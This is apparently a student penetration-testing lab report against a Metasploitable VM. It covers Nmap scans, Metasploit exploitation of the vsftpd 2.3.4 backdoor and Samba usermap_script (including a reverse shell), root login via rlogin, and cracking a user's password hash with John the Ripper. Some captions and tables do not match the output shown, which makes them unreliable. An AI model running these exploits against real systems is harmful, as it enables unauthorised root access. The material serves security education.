

Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

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Project: Simulating Real-World Network Exploitation and Defense

Project Objectives

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
 - **Nmap** (short for **Network Mapper**) is an open-source tool used for **network discovery** and **security auditing**.
- John the Ripper
 - **John the Ripper** (often just called **John**) is a **fast, open-source password cracker**. It's primarily used for recovering weak or lost passwords by **brute-force** or **dictionary-based attacks**.
- Metasploit Framework
 - The Metasploit Framework is one of the most powerful and widely used tools for penetration testing, vulnerability exploitation, and red teaming. It provides a modular platform to test and exploit known vulnerabilities in networks, systems, and applications.

Task 1: Basic Network Scan

```
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:8E:1A:27 (VMware)

Nmap scan report for 192.168.190.254
Host is up (0.00011s latency).
All 1000 scanned ports on 192.168.190.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:E6:8E:1A (VMware)

Initiating SYN Stealth Scan at 14:38
Scanning 192.168.190.130 [1000 ports]
Completed SYN Stealth Scan at 14:38, 0.04s elapsed (1000 total ports)
Nmap scan report for 192.168.190.130
Host is up (0.0000060s latency).
All 1000 scanned ports on 192.168.190.130 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Read data files from: /usr/share/nmap
Nmap done: 256 IP addresses (5 hosts up) scanned in 8.10 seconds
  Raw packets sent: 7515 (322.484KB) | Rcvd: 4011 (164.424KB)
```

Command:

```
nmap -v 192.168.190.0/24
```

Expected Output:

Nmap scan report for 192.168.190.129
Host is up (0.0010s latency).

| PORT | STATE | SERVICE |
|--------|-------|---------|
| 21/tcp | open | ssh |
| 22/tcp | open | telnet |
| 25/tcp | open | smtp |
| 53/tcp | open | domain |
| 80/tcp | open | http |

Nmap scan report for 192.168.190.2
Host is up (0.0020s latency).

| PORT | STATE | SERVICE |
|--------|----------|---------|
| 53/tcp | filtered | domain |

Task 2: Reconnaissance

```
PORT      STATE SERVICE
53/tcp    filtered domain
MAC Address: 00:50:56:E4:D8:F3 (VMware)

Nmap scan report for 192.168.190.129
Host is up (0.00059s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
39032/tcp open  unknown
44635/tcp open  unknown
47910/tcp open  unknown
53845/tcp open  unknown
MAC Address: 00:0C:29:8E:1A:27 (VMware)

Nmap scan report for 192.168.190.254
Host is up (0.00040s latency).
All 65535 scanned ports on 192.168.190.254 are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)
MAC Address: 00:50:56:E6:8E:1A (VMware)

Press [enter] to select an image
```

Command:

nmap -v 192.168.190.0/24

Expected Output:

Nmap scan report for 192.168.190.129

Host is up (0.0010s latency).

Total Hidden Ports: 7

| PORT | STATE | SERVICE |
|-----------|-------|--------------|
| 21/tcp | open | ftp |
| 22/tcp | open | ssh |
| 23/tcp | open | telnet |
| 25/tcp | open | smtp |
| 53/tcp | open | domain |
| 80/tcp | open | http |
| 111/tcp | open | rpcbind |
| 139/tcp | open | netbios-ssn |
| 445/tcp | open | microsoft-ds |
| 512/tcp | open | exex |
| 513/tcp | open | login |
| 514/tcp | open | shell |
| 1099/tcp | open | rmiregistry |
| 1524/tcp | open | ingreslock |
| 2049/tcp | open | nfs |
| 2121/tcp | open | ccproxy-ftp |
| 3306/tcp | open | mysql |
| 3632/tcp | open | distccd |
| 5432/tcp | open | postgresql |
| 5900/tcp | open | vnc |
| 6000/tcp | open | X11 |
| 6667/tcp | open | irc |
| 6697/tcp | open | ircs-u |
| 8009/tcp | open | ajp13 |
| 8180/tcp | open | unknown |
| 8787/tcp | open | msgsrvr |
| 39032/tcp | open | unknown |
| 44635/tcp | open | unknown |
| 47910/tcp | open | unknown |
| 53845/tcp | open | unknown |

2.1 Scanning for Hidden Ports

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:8E:1A:27 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

2.2 Service Version Detection

Command:

```
nmap -v -sV 192.168.129.0/24
```

Expected Output:

| PORT | STATE | SERVICE | VERSION |
|-----------|-------|----------|-------------------------------|
| 21/tcp | open | ftp | vsftpd 2.3.4 |
| 22/tcp | open | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 8787/tcp | open | drb | Ruby DRb RMI |
| 47436/tcp | open | mountd | mountd 1-3 (RPC #100005) |
| 50918/tcp | open | java-rmi | GNU Classpath grmiregistry |
| 59995/tcp | open | nlockmgr | 1-4 (RPC #100021) |
| 60004/tcp | open | status | 1 (RPC #100024) |

2.3 Operating System Detection

```
Nmap scan report for 192.168.190.129
Host is up (0.0078s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:8E:1A:27 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.016 days (since Sat May 17 14:32:54 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
```

Command:

```
nmap -v -O 192.168.190.0/24
```

Expected Output:

MAC Address: 00:0C:29:8E:1A:27 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Task 3: Enumeration Summary

Target IP Address: 192.168.190.129

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: : 00:0C:29:8E:1A:27 (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

| PORt | STATE | SERVICE | VERSION |
|--------|-------|---------|-------------------------------|
| 21/tcp | open | ftp | vsftpd 2.3.4 |
| 22/tcp | open | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |

Hidden Services

| PORt | STATE | SERVICE | VERSION |
|-----------|-------|----------|----------------------------|
| 8787/tcp | open | drb | Ruby DRb RMI |
| 47436/tcp | open | mountd | 1-3 (RPC #100005) |
| 50918/tcp | open | java-rmi | GNU Classpath grmiregistry |
| 59995/tcp | open | nlockmgr | 1-4 (RPC #100021) |
| 60004/tcp | open | status | 1 (RPC #100024) |

Task 4: Exploitation of Services

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.190.129
RHOSTS => 192.168.190.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.190.129:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.190.129:21 - USER: 331 Please specify the password.
[+] 192.168.190.129:21 - Backdoor service has been spawned, handling ...
[+] 192.168.190.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.190.130:45305 → 192.168.190.129:6200) at 2025-05-17 15:12:16 -0400

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.190.129
RHOSTS => 192.168.190.129
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.190.130:4444
[*] Command shell session 1 opened (192.168.190.130:4444 → 192.168.190.129:33795) at 2025-05-17 15:17:16 -0400

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

OpenSSH 4.7p1: Brute-force attack executed successfully.

```

└─[root@kali]─[/home/kali]
# nmap -p 512,513,514 -sC -sV --script=vuln 192.168.190.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 15:20 EDT
Nmap scan report for 192.168.190.129
Host is up (0.00040s latency).

PORT      STATE SERVICE      VERSION
512/tcp    open  exec        netkit-rsh rexecd
513/tcp    open  login       OpenBSD or Solaris rlogind
514/tcp    open  tcpwrapped
MAC Address: 00:0C:29:8E:1A:27 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds

└─[root@kali]─[/home/kali]
# rlogin -l root 192.168.190.129
Last login: Sat May 17 15:03:57 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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individual files in /usr/share/doc/*copyright.

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applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~# ls
Desktop  reset_logs.sh  vnc.log

```

Java RMI: Remote code execution achieved via Metasploit module.

👤 Task 5: Creating a Privileged User

Command:

adduser ckeshav

Password: hello

/etc/passwd Entry:

```
ckeshav:x:1003:1003:Chandra Keshav,,,:/home/ckeshav:/bin/bash
```

/etc/shadow Hash:

```
ckeshav:$1$6i8IgLFZ$EiU2B6Lf9AOSSq8vVgtXM0:20226:0:99999:7:::
ckeshav:$1$6i8IgLFZ$EiU2B6Lf9AOSSq8vVgtXM0
```

🔒 Task 6: Cracking Password Hash

Stored Hash in `keshav.txt`:

```
ckeshav:$1$6i8IgLFZ$EiU2B6Lf9AOSSq8vVgtXM0
```

Cracking Commands:

```
john keshav.txt
```

```
john keshav.txt --show
```

```
Cracked Password: hello
```

```
[root@kali]~[~/home/kali]
# john keshav.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 30 candidates buffered for the current salt, minimum 48 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
hello          (ckeshav)
1g 0:00:00:00 DONE 2/3 (2025-05-18 06:48) 16.66g/s 18333p/s 18333c/s 18333C/s 123456 .. knight
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

💡 Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable

Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

Fix: Disable or firewall restrict access

🎓 Major Learnings

- Applied Nmap for full-range scanning and OS detection.
- Understood enumeration and real-world exploitation techniques.
- Gained skills in privilege escalation and hash cracking.
- Learned how to evaluate vulnerabilities and apply proper remediation.

📘 This project simulates a real-world penetration test using open-source tools and is intended strictly for educational purposes.